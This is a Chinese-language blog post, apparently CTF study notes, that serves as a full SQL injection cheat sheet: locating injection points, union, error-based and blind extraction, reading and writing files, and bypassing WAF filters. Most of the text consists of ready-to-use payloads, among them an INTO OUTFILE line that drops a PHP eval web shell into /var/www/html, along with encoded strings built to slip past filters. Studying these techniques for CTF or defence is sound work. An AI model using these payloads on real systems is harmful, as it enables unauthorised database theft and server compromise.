SQL 注入:判断、利用与绕过方法全解

-- 介绍 --

  • 注入条件
    • 存在查询SQL的语句
    • SQL语句中有可以操控的变量
  • 注入后果
    • 暴露数据库的敏感信息

-- 判断注入点 --

  • 判断数据库类型:

    种类: access,mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase 其中assess数据库与其它不同,access没有数据库结构,其数据库直接储存在网页目录之下,不同网站之间的数据库无法互相访问 判断:

    1. 根据常见语言与数据库搭配(如php-mysql搭配, aspx-mssql, 并不绝对)
    2. 端口扫描(数据库有默认端口) 也有可能改变了端口位置, 或因cdn而只是在扫描缓存服务器, 又或是站库分离、反向代理等 mysql 3306;oracle 1521;sql server(mssql) 1433;db2 5000;postgre sql 5432; redis 6379;memcached 11211;mongodb 27017
  • 判断注入点(提交方法)
    • 可能出现的注入点类型:get,post,cookie,request,http头
  • 判断查询方式
    • select:在网站应用中进行数据显示查询操作
    • insert:在网站应用中进行用户注册添加的操作
    • delete:后台管理里面删除文章删除用户等操作
    • update:会员或后台中心数据同步或缓存等操作
    • order by:一般结合表名或列名进行数据排序操作
    • show
  • 判断截断语句
    • 原因:可控变量被特定符号包围,若只注释掉其右边部分,则会造成报错或注入语句无法执行,所以要先写入特定符号的左边部分将其包围 再写入注入语句 再注释
    • 判断方法:被引号包围时写入同类型引号会报错,且会将被影响的语句用单引号包裹 进行报错
    • 类型:括号(若注释掉右括号而只剩左括号则会报错),单引号与双引号(使注入语句被识别为字符串而无法执行)
    注: 内容为可以查询的到数据行的参数值, 若用or可以不需要
    ...where id={}$id{}   {}里为什么,下面的{}就为什么 
    ?id=内容{} and 1=1 --+ 正确    
    ?id=内容{} and 1=2 --+ 错误
    ?id=-1{} or 1=1 --+ 正确
    ?id=-1{} or 1=2 --+ 错误

    时间盲注判断
    ?id=1{} and sleep(2) --+ 缓冲2秒    
    ?id=1 and sleep(2) --+ 不缓冲
  • 注释符选择
    • 类型:
      • --+:mysql中--后加上一个空格才会生效,而+会在url中会自动转码为空格(%2b不会) 在数据包中或post cookie等中只要用 --%20
      • #:在url中要用%23, 在url中转码为%23才可将其传入数据包中注入到sql语句,因为在 URL 中,#字符通常被用作锚点(anchor)来定位页面中的特定部分,其后的内容并不会通过数据包发送到服务器端,而%23不会产生此效果)
    • 注:注释被引号包围会失去效用

-- 获取权限方式 --

mysql5.0以上

  • 利用information_schema数据库

mysql5.0以下版本或access

  • 字典暴力查询数据库名 表名 列名 或读取写入

-- 信息收集语句 --

mysql

  • 数据库版本:version()
  • 数据库名字:database()
  • 数据库用户:user()
  • 操作系统:@@version_compile_os
  • information_schema(mysql>5.0) 简介: 数据库,其存储了所有的数据库 表 列 的相关信息, mysql5.0以上 流程:
    1. 根据database()从information_schema.tables中找出所有该数据库中的表, 根据名字找到使用中的表
    2. 根据表名从information_schema.columns中找出所有属于该表的字段, 根据名字找到需要的字段
    3. 再根据字段注入
  • 获取表名的子语句
select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database() limit 0,1  #(将0不断增加来查看不同数据行)

    绕过limit:
select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = database() #(使用group_concat()一次性查看所有数据行) 

//注释:
    `information_schema.tables`储存了表的各种信息   
    字段`TABLE_NAME`储存了表名
    字段`TABLE_SCHEMA`储存了表所在的数据库
  • 获取字段名的子语句
select COLUMN_NAME from information_schema.columns where TABLE_NAME = '表名' limit 0,1  #(将0不断增加来查看不同数据行)

    绕过limit:
select group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='表名' #(使用group_concat()一次性查看所有数据行)

//注释:
    `information_schema.columns`储存了字段的各种信息
    字段`TABLE_NAME`储存了字段所属的表
    字段`COLUMN_NAME`储存了字段名
  • 获取数据的子语句
select 字段名 from 数据库名.表名 limit 0,1

    绕过limit
select group_concat(字段名,...) from 数据库名.表名

    绕过括号
1 union select 字段名,字段名,... from 数据库名.表名 limit 0,1
  • 罕见: 查询数据库的子语句
select TABLE_SCHEMA from information_schema.tables limit 0,1  
#(将0不断增加来查看不同数据行)

    绕过limit:
select group_concat(TABLE_SCHEMA) from information_schema.tables
#(使用group_concat()一次性查看所有数据行) 

//注释:
    `information_schema.tables`储存了表的各种信息   
    字段`TABLE_NAME`储存了表名
    字段`TABLE_SCHEMA`储存了表所在的数据库
注:若要查询非正在使用的数据库中的表名,<获取表名的子语句>中database()记得换成对应的表
  • 注意 子语句最好要用括号括起来, 在函数的括号中还要再加一层括号, 否则容易报错 子语句中查询出的数据必须只有一行一列, 否则报错

-- 注入语句 --

原始语句SELECT * FROM users WHERE id='$id' LIMIT 0,1

联合查询

1.检测字段数t
    1' order by 数字 --+  (数字<=t 不报错,数字>t+1 报错)
    order by 前面1为能查询到数据行的参数值,若没法找到这样的参数值也可以加上or 1=1或or '1'或or 1
    1' or 1 = 1 order by 数字 --+
    1' or 1 order by 数字 --+
    1' or'1'order by 数字 --+
2.找出回显的字段序号(有回显)
    -1' union select 1,2,3,...,数字 --+ (数字为t时不报错)前面用-1防止用1可以查询出数据
3.将信息收集语句替换回显的字段序号
    -1' union select 1,2,3,<信息收集语句>,...,数字 --+ (则信息显示于回显位置)

报错盲注

  • 适用情况: 服务器未处理报错信息
  • exp (5.5<mysql版本<5.6)
id = 1' and exp(~(select * from (SQL语句)a))
  • floor 待定
    报错原理
    #因为floor(rand(0)\*2)的重复性,导致group by语句出错,group by key的原理是循环读取数据的每一行,将结果保存于临时表中,读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据
    用法
id= -1' union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from information_schema.tables group by x)a --+
注意:information_schema.tables可以换成其它足够大的表
注释
        rand():生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字
        floor():对任意正或者负的十进制值向下取整
        通常利用这两个函数的方法是floor(rand(0))\*2 ,其会生成0和1两个数
  • updatexml
  函数原型
updatexml(xml_document, xpath_string, new_value)
  报错原理
第二个参数是要求符合xpath语法的字符串,否则报错,并将查询结果放在报错信息里
  使用
id=-1' and updatexml(任何东西,concat('~',(信息收集语句),任何东西)
  如
id=-1' and updatexml(1,concat('~',(database())),1) --+

注释
    0x7e=’~’
    concat(‘a’,‘b’)=“ab”
    ‘~‘可以换成'#'、'$'等不满足xpath格式的字符
  • extractvalue
    函数原型
extractvalue(xml_document,Xpath_string)
    报错原理
第二个参数是要求符合xpath语法的字符串,否则报错,并将查询结果放在报错信息里
    使用
id=-1' and extractvalue("anything",concat('~',(信息收集语句)))
    如
id=-1' and extractvalue(1,concat('~',(database())))

注释
    0x7e=’~’
    concat(‘a’,‘b’)=“ab”
    ‘~‘可以换成'#'、'$'等不满足xpath格式的字符
  • 注意:updatexml()与extractvalue()能查询字符串的最大长度为32, 若我们想要的结果超过32, 可将查询的字段名改为right(字段名,数字)代表字段名数据最后数字位字符 或用substring()函数截取或limit分页,一次查看最多32位

布尔盲注

  • 原理利用if判断语句来判断 信息收集语句(上述) 的值是否与猜测的值相同,若相同,则返回使比较表达式成立的值,使得语句查询成功
  • 使用
id=1 and 1 = if(猜测函数(信息收集语句)=数值, 1, 0)--+
id=1 and 1 = if(ascii(猜测函数(信息收集语句))=数值, 1, 0)
id=1 and 1 = if(ord(猜测函数(信息收集语句))=数值, 1, 0)
id=if(猜测函数(信息收集语句)=数值, 1, 0)--+
id=if(ascii(猜测函数(信息收集语句))=数值, 1, 0)
id=if(ord(猜测函数(信息收集语句))=数值, 1, 0)

如
内容 and 1=if(length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database() limit 0,1))=8, 1, 0) --+
内容 and 1 = if(ascii(substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database() limit 0,1),{},1))=8, 1, 0) --+

1 or 1=if(length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database() limit 0,1))=8, 1, 0) --+
1 or 1 = if(ascii(substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database() limit 0,1),{},1))=8, 1, 0) --+

注: ord(x)或ascii(x)将x变为ascii码形式(便于脚本)
    内容为可查询的出数据的参数值
  • 猜测函数length():判断字符串长度
    mid(a,b,c):从位置b开始,截取a字符串的c位 索引从1开始
    substr(a,b,c):从位置b开始,截取字符串a的c长度 索引从1开始
    left(a, b):从字符串a左侧截取前b位
  • 注释if(a,b,c):若a为true,返回b,若为false,返回c 注:if中abc可为select查询的数据行,且查询出的数据行必须只有一个字段且只有一行

时间盲注

  • 原理
    • 与布尔盲注相似,但并非使用比较表达式判断if判断语句的返回值,而是用sleep
    • sleep(<时间t>):休息t秒后执行
  • 使用
    • 1' and sleep(if(猜测函数(信息收集语句)=数据,时间t1,时间t2))
    • 1' and if(猜测函数(信息收集语句)=数据,sleep(时间t1),时间t2)
    • 使用布尔盲注是基于页面至少在注入成功与失败之间至少有差别(即sql语句搜索出语句时与没搜索出语句时回显不同),而时间盲注可适用于无差别的时候 且使用1\' and sleep(时间)来判断数据类型 截断语句等
  • 排序盲注

任意文件读取写入(高权限)

  • 要求
    1. 服务端所使用mysql用户拥有读取写入的权限
    2. secure_file_priv选项开启 (my.ini中的secure_file_priv选项为NULL时被禁止, 为空时开放,为目录路径时只对目录中文件开放)
    3. mysql用户 需要有 OUTFILE参数指定的文件所在的路径 的访问权限,否则会报错
  • 使用
读取(select语句中用 load_file('`文件路径`') 函数 代替字段名:将文件内容作为字段数据查询结果)
id=-1 union select 1,load_file('./upload'),3 

写入(select语句最后加into outfile '`文件路径`':创建相应的文件并将查询结果写入到文件中)
(文件路径不能对应已存在的文件,into outfile无法将结果写入已经存在的文件中)
id=-1 union select "<?php eval($_GET['a']) ?>",2 into outfile "/var/www/html/1.php"--+
    注意1:路径若为相对路径则要注意其 起始地址 为mysql环境文件中的 data文件夹中而非网站
  • 找到网站绝对路径
    1. 报错显示(通过让网站出现错误显示报错的文件位置)
    2. 尝试常用路径(如/var/www/html/)
    3. 遗留文件(将网站搜索后带上inurl:phpinfo.php,其中script_filename可看出路径)
    4. 漏洞报错(查询网站所用模板(如z-blog,phpcms),网上再搜索相应的暴路径漏洞)
    5. 平台配置文件
    6. 爆破 1\' union select "<?php eval($_GET[\'a\']) ?>",2,3 into outfile "/var/www/html/1.php"#

堆叠注入

  • 概念: 同时注入多条sql语句,其间用分号;隔开
  • 前提: 需要服务端使用可以执行多条sql语句的函数 php: mysqli_query()只能执行单条语句, mysqli_multi_query()能执行多条语句
  • 使用: select语句: 就如其它方法一样 show语句: 可以显示当前数据库的表名, 以及表名的字段名 desc describe语句: 可以显示表名的字段名 alter语句: 可以将服务端查询的表与目标表互换名字, 将目标表的目标字段改名为查询的字段, 即可获得目标字段的内容 handle语句(mysql特有): 可以查看表的字段数据
    • HANDLER 表名 OPEN;HANDLER 表名 READ next;HANDLER 表名 READ CLOSE; 预编译:
    • 设置名: PREPARE 名称 "FROM 语句"
    • 执行语句: EXECUTE 名称
    • 特殊设置名1: PREPARE 名称 FROM "带?的语句";SET @变量名=变量值;
    • 特殊执行语句1: EXECUTE 名称 USING @变量名 (?处会替换为变量值再执行)
    • 特殊设置名2: SET @变量名="语句";PREPARE 名称 FROM @变量名;
    • 特殊执行语句2: EXECUTE 名称
    • 绕过方法: 语句可用concat拼接, 如concat('s','elect', ' * from flag')
    • 绕过方法2: 因为语句为字符串, 可用十六进制编码绕过

二次注入

  • 概念: 将语句储存到数据库中, 并再次使用导致注入
  • 前提: 服务器将注入语句转义后执行, 然后储存到数据库中, 因为数据库中的数据会自动去除\符号,若再次取出并直接套用sql语句中则会产生注入
  • : 一般黑盒时无法看出,用工具也无法查出,在白盒时才可以看出

access偏移注入(待定)

  • 情况:access知道表名而不知道字段名
  • <表名>.*代表该表下所有字段
  • 要求
    • 已知除当前注入点正在使用的表a之外的另外一张表b,且知道表b下的任意一个字段名
  • 成果
    • 能够爆出表b下任意一个字段下的值(有些会爆出在源码里面)
  • 流程
    • 先用order by求出表a的字段数x
    • 再不断尝试union select 1,2,3,...,y,* from <表b>,直到不报错
    • *代表表b的所有字段,可得 表b 共有 x-y (c)个字段
    • 使用UNION SELECT 1,2,3,...,x-2c,* from (<表b> as a inner join admin as b on a.<字段>=b.<字段>),查看爆出的数据是否为想要的数据
    • 若没爆出想要的数据可以尝试将a.<字段>与b.<字段>加在前面打乱爆出的顺序 或者使用UNION SELECT 1,2,3,...,x-3c, from ((<表b> as a inner join admin as b on a.<字段>=b.<字段>) inner join admin as c on a.<字段>=c.<字段>)

(待定)--

  • 加密注入:输入参数确定加密方式,再将相应的注入代码加密后再带入
  • dnslog带外注入:高权限

-- 绕过 --

and or过滤绕过
将and 改为or 或将and or改为= 
id = 内容 and 1=1    id = 内容 and 1=2   
id = -1 or 1=1    id = -1 or 1=2
id = 内容 and 1 = if(条件=1,1,0)
id = -1 or 1 = if(条件=1,1,0)
改为
id = -1 = 1    id = -1 = 0
id = -1 = if(条件=1,0,1)
  • 原理: MySQL数据库有一个特性, 在条件语句中,在 where id=1后面加“=1”,成为where id=1=1, 就是对前面的所有结果与1,查询的结果与原来一样; 在where id=1后面加“=0”,成为where id=1=0,就是对前面的所有结果与0(取反),查询的结果为除去原有查询结果的其他数据
空格过滤绕过
  • /**/、空白符 来代替空格**空白符**: 水平制表符%09、换行符%0a、垂直制表符%0b, 换页符%0c, 回车%0d, 不间断空白符%a0 注1: 因为mysql中转义字符只在字符串(即引号)中可以使用, 所以大部分时候使用对应的url编码让系统自动解码为真正的 制表 与 换行 而非转义字符(又或者在数据包中 换行 或 用 Tab) 注2: 在/**/中加入各种特殊字符也许可以绕过waf (因为有些waf不是检测关键字, 而是检测几个关键字是否同时存在或检测关键句, 加入各种特殊字符可以扰乱判断) (待定) 注3: 函数名与括号用空格隔开不影响执行,可以添加空格来绕过 函数()
  • 括号绕过:用括号括住 表名 字段名 select子语句 函数 表达式(如1=1)可以没有空格与其它关键字挨在一起
  • 反引号绕过: 用反引号围住 表名 字段名 可以没有空格与其它关键字挨在一起(其它的不行)
select(select(group_concat(id,username))from(security.users)where(id)=1);
  • 特殊情况:
    1. 字符串周围是可以没有空格与其它关键字挨在一起的如 select'1'from security.users;
    2. *也可以没有空格与其它关键字挨在一起, 如select*from security.users;
select过滤绕过
  • 使用堆叠注入
关键字过滤绕过
  • 大小写绕过关键词大小写并用绕过 前提: 只检测纯小写或纯大写的关键词
  • 双写绕过关键字内嵌套关键字 如 seselectlect,selseselectlectect前提:服务端有限次替换或删除关键字, 并继续使用
  • 内联注释绕过**介绍: 将语句 放在注释符/**/内感叹号后 /*!sql语句*/原理: mysql扩展功能,在注释符开头放感叹号/*! */,注释中的语句会被执行, 且可非完整语句, 会自动与前后语句进行拼接(但关键字要完整) 前提**: 服务端检测多个关键字连接在一起的情况
等价函数/字符替换绕过
用like或in或regexp代替=
    select * from user where username='userl';
    select * from user where username like 'userl';
    select * from user where username in('userl');
    select * from user where username regexp 'userl';
用<或>代替=
    select * from user where id = 1 and 1 = 1
    select * from user where id = 1 and 1 < 2
    select * from users where id=1 and ascii(substr(database(),0,1))=65
    select * from users where id=1 and ascii(substr(database(),0,1))>64
逗号过滤
    select substr(database(),1,1);
    select substr(database() from l for 1);
    select mid(database(),1,1)
    select mid(database() from 1 for 1)
    select * from news limit 0,1
    select * from news limit 1 offset 0

等价函数
    sleep函数->benchmark函数
    ascii函数->hex, bin函数
    group_concat函数->concat_ws函数
    updatexml函数->extractvalue函数
逻辑符号   
    and -> &&
    or -> ||
注释过滤绕过
  • 使用其它注释符
    1. -- 后接空白符(除换行符)才能生效(%20,+[仅url],\' \', %09,%0b,%0c,%0d,%a0)
    2. # url中转%2c可用 注:注释被引号包围会失去效用
  • 闭合截断符 (注: 一定要让闭合的地方有实际意义,否则会报错) 如 where id=(\'$id\') 注入 ?id= 1\') and \'1\'=(\'1
引号过滤/引号内关键词过滤
  • 十六进制编码绕过
编码绕过
  • 十六进制编码绕过: mysql数据库可以识别0x开头的十六进制, 会将自动转换为字符串(所以不能绕过关键字)
  • (待定)Unicode编码绕过: IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS中间件会自动对其进行转换
  • ASCII编码绕过(SQL Server数据库): char函数可以将字符转换为ASCII码,这样也可以绕过单引号转义的情况 即将 abc 转换为 CHAR()+CHAR()+CHAR()
查询字段检测绕过
  • 原因: 服务端对查询出来的内容作检测, 防止查询出敏感信息
  • 编码绕过将 查询字段 变为 to_base64(查询字段) hex(查询字段)
  • 文件读取写入绕过看前面文件读写方式
  • 替换绕过将查询字段变为 replace(查询字段, \'被替换的字符\', \'替换成的字符\'), 若替换多个则多嵌套几层replace
绕过数字过滤

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(字段名),"0",")"),"9","("),"8","*"),"7","&"),"6","^"),"5","%"),"4","$"),"3","#"),"2","@"),"1","!")

%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28(填)%29%2c%22%30%22%2c%22%29%22%29%2c%22%39%22%2c%22%28%22%29%2c%22%38%22%2c%22%2a%22%29%2c%22%37%22%2c%22%26%22%29%2c%22%36%22%2c%22%5e%22%29%2c%22%35%22%2c%22%25%22%29%2c%22%34%22%2c%22%24%22%29%2c%22%33%22%2c%22%23%22%29%2c%22%32%22%2c%22%40%22%29%2c%22%31%22%2c%22%21%22%29

注:请hex编码后使用(若以GET方法使用时
宽字节绕过宽字节注入(待定)
利用条件:前端utf-8编码和数据库gbk编码不一致。
➢ 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
%df%5c构成一个汉字:縗。因为此时\已经和%df组成一个汉字消耗掉了所以"单引号'"成功闭合也就是说:%df \'=%df%5c%27=縗',有了单引号就好注入了
前提: 客户端使用gbk的编码模式,且将语句转义后继续执行
参数污染

同时多次给同一个参数赋予不同的值来绕过waf 前提: waf只检测第一个同名参数中的内容 原理:HTTP协议中是允许同样名称的参数出现多次的,并获取其中一个作为最终该参数的值

image.png

-- 特殊 --

  • 可以尝试 id=1' or 1=1 --+id=1' or 1 --+id=1' or '1' --+id=1'=0 --+也许能绕过参数检测(即 where id = \'$id\')直接查询到数据行,若有回显则可以显示部分数据, 在此基础上也可以布尔盲注,时间盲注, 改变0位置的值也可查询不同的数据行
  • 对于select xx from xxx where a='<>' or b='<>', 若'被禁, 可以使用\来转义原语句的'payload: =0#\

-- 特殊注入点 --

表名注入点$sql = "select count(pass) from "$_POST['tableName']";";解法 :

  1. 直接尝试联合注入,报错注入,布尔盲注, 时间盲注
  2. 添加where语句 如where username = \'字符\' 在字符内可实现 报错注入 与 布尔盲注, 时间盲注 注:表名注入点一般没有截断语句 where过滤: 换为having

-- 骚操作 --

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以用 特殊1 绕过 即 ?id=1 or 1=1 或?id=1=0 等等
再or后加 字段=值 可以无注释绕过limit 
即?id=-1'or(username)='flag   ?id=-1'or(id=26)and'1'='1 
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇